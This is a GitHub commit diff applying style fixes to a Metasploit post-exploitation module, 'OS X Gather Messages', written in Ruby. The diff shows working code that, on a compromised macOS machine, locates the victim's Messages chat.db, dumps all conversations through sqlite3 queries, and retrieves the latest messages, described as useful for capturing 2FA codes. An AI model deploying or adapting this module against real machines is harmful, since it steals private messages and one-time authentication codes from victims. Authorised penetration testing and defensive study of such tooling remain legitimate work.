Skip to content

Commit 3c9ebb9

Browse files
David MaloneyDavid Maloney
authored andcommitted
Land rapid7#7624, Wvu's style fixes
land's wvu's style and text fixes for the OS X archived messages module
2 parents 4c50a7c + b6fe6c1 commit 3c9ebb9

File tree

1 file changed

+48
-93
lines changed

1 file changed

+48
-93
lines changed

modules/post/osx/gather/enum_messages.rb

Lines changed: 48 additions & 93 deletions
Original file line numberDiff line numberDiff line change
@@ -12,33 +12,65 @@ def initialize(info={})
1212
super(update_info(info,
1313
'Name' => 'OS X Gather Messages',
1414
'Description' => %q{
15-
This module will collect the Messages sqlite3 database files and chat logs
16-
from the victim's machine. There are four actions you may choose: DBFILE,
17-
READABLE, LATEST and ALL. DBFILE and READABLE will retrieve all messages and
18-
LATEST will retrieve the last X number of message (useful with 2FA). Module
19-
was tested with OSX 10.11 (El Capitan).
15+
This module will collect the Messages sqlite3 database files and chat logs
16+
from the victim's machine. There are four actions you may choose: DBFILE,
17+
READABLE, LATEST, and ALL. DBFILE and READABLE will retrieve all messages, and
18+
LATEST will retrieve the last X number of messages (useful with 2FA). Module
19+
was tested with OS X 10.11 (El Capitan).
2020
},
2121
'License' => MSF_LICENSE,
22-
'Author' => [ 'Geckom <geckom[at]redteamr.com>'],
23-
'Platform' => [ 'osx' ],
24-
'SessionTypes' => [ "meterpreter", "shell" ],
22+
'Author' => ['Geckom <geckom[at]redteamr.com>'],
23+
'Platform' => ['osx'],
24+
'SessionTypes' => ['meterpreter', 'shell'],
2525
'Actions' =>
2626
[
27-
['DBFILE', { 'Description' => 'Collect messages DB file' } ],
28-
['READABLE', { 'Description' => 'Collect messages DB and download in a readable format' } ],
29-
['LATEST', { 'Description' => 'Collect the latest message' } ],
30-
['ALL', { 'Description' => 'Collect all messages data'}]
27+
['DBFILE', 'Description' => 'Collect Messages DB file'],
28+
['READABLE', 'Description' => 'Collect Messages DB and download in a readable format'],
29+
['LATEST', 'Description' => 'Collect the latest message'],
30+
['ALL', 'Description' => 'Collect all Messages data']
3131
],
3232
'DefaultAction' => 'ALL'
3333
))
3434

3535
register_options(
3636
[
3737
OptInt.new('MSGCOUNT', [false, 'Number of latest messages to retrieve.', 3]),
38-
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)', 'CURRENT'])
39-
], self.class)
38+
OptString.new('USER', [false, 'Username to retrieve messages from (defaults to current user)'])
39+
]
40+
)
4041
end
4142

43+
def run
44+
if datastore['USER']
45+
user = datastore['USER']
46+
else
47+
user = cmd_exec('/usr/bin/whoami')
48+
end
49+
50+
# Check file exists
51+
messages_path = "/Users/#{user}/Library/Messages/chat.db"
52+
if file_exist?(messages_path)
53+
print_good("#{peer} - Messages DB found: #{messages_path}")
54+
else
55+
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
56+
end
57+
58+
# Check messages. And then set the default profile path
59+
unless messages_path
60+
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
61+
end
62+
63+
print_good("#{peer} - Found Messages file: #{messages_path}")
64+
65+
files = []
66+
67+
# Download file
68+
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
69+
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
70+
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
71+
72+
save(files)
73+
end
4274

4375
#
4476
# Collect messages db file.
@@ -49,7 +81,6 @@ def get_db(messages_path)
4981
{filename: 'messages.db', mime: 'bin', data: message_data}
5082
end
5183

52-
5384
#
5485
# Generate a readable version of the messages DB
5586
#
@@ -68,7 +99,7 @@ def readable(messages_path)
6899
'ORDER BY m.date;'
69100
]
70101
sql = sql.join(' ')
71-
readable_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
102+
readable_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
72103
{filename: 'messages.txt', mime: 'text/plain', data: readable_data}
73104
end
74105

@@ -90,7 +121,7 @@ def latest(messages_path)
90121
"ORDER BY m.date DESC LIMIT #{datastore['MSGCOUNT']};"
91122
]
92123
sql = sql.join(' ')
93-
latest_data = exec_shell_cmd("sqlite3 #{messages_path} '#{sql}'")
124+
latest_data = cmd_exec("sqlite3 #{messages_path} '#{sql}'")
94125
print_good("#{peer} - Latest messages: \n#{latest_data}")
95126
{filename: 'latest.txt', mime: 'text/plain', data: latest_data}
96127
end
@@ -112,80 +143,4 @@ def save(data)
112143
end
113144
end
114145

115-
#
116-
# Return an array or directory names
117-
#
118-
def dir(path)
119-
results = []
120-
subdirs = exec_shell_cmd("ls -l #{path}")
121-
122-
unless subdirs =~ /No such file or directory/
123-
results = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
124-
end
125-
126-
results
127-
end
128-
129-
#
130-
# This is just a wrapper for cmd_exec(), except it chomp() the output,
131-
# and retry under certain conditions.
132-
#
133-
def exec_shell_cmd(cmd)
134-
begin
135-
out = cmd_exec(cmd).chomp
136-
rescue ::Timeout::Error => e
137-
vprint_error("#{peer} - #{e.message} - retrying...")
138-
retry
139-
rescue EOFError => e
140-
vprint_error("#{peer} - #{e.message} - retrying...")
141-
retry
142-
end
143-
end
144-
145-
#
146-
def locate_messages(base)
147-
dir(base).each do |folder|
148-
m = folder.match(/(Messages)$/)
149-
if m
150-
m = m[0].gsub(/\x20/, "\\\\ ") + "/"
151-
return "#{base}#{m}"
152-
end
153-
end
154-
155-
nil
156-
end
157-
158-
def run
159-
if datastore['USER'] == 'CURRENT'
160-
user = exec_shell_cmd("/usr/bin/whoami")
161-
else
162-
user = datastore['USER']
163-
end
164-
165-
# Check file exists
166-
messages_path = "/Users/#{user}/Library/Messages/chat.db"
167-
if file_exist?(messages_path)
168-
print_good("#{peer} - Messages DB found: #{messages_path}")
169-
else
170-
fail_with(Failure::Unknown, "#{peer} - Messages DB does not exist")
171-
end
172-
173-
# Check messages. And then set the default profile path
174-
unless messages_path
175-
fail_with(Failure::Unknown, "#{peer} - Unable to find messages, will not continue")
176-
end
177-
178-
print_good("#{peer} - Found messages file: #{messages_path}")
179-
180-
files = []
181-
182-
# Download file
183-
files << get_db(messages_path) if action.name =~ /ALL|DBFILE/i
184-
files << readable(messages_path) if action.name =~ /ALL|READABLE/i
185-
files << latest(messages_path) if action.name =~ /ALL|LATEST/i
186-
187-
save(files)
188-
189-
end
190-
191146
end

0 commit comments

Comments
 (0)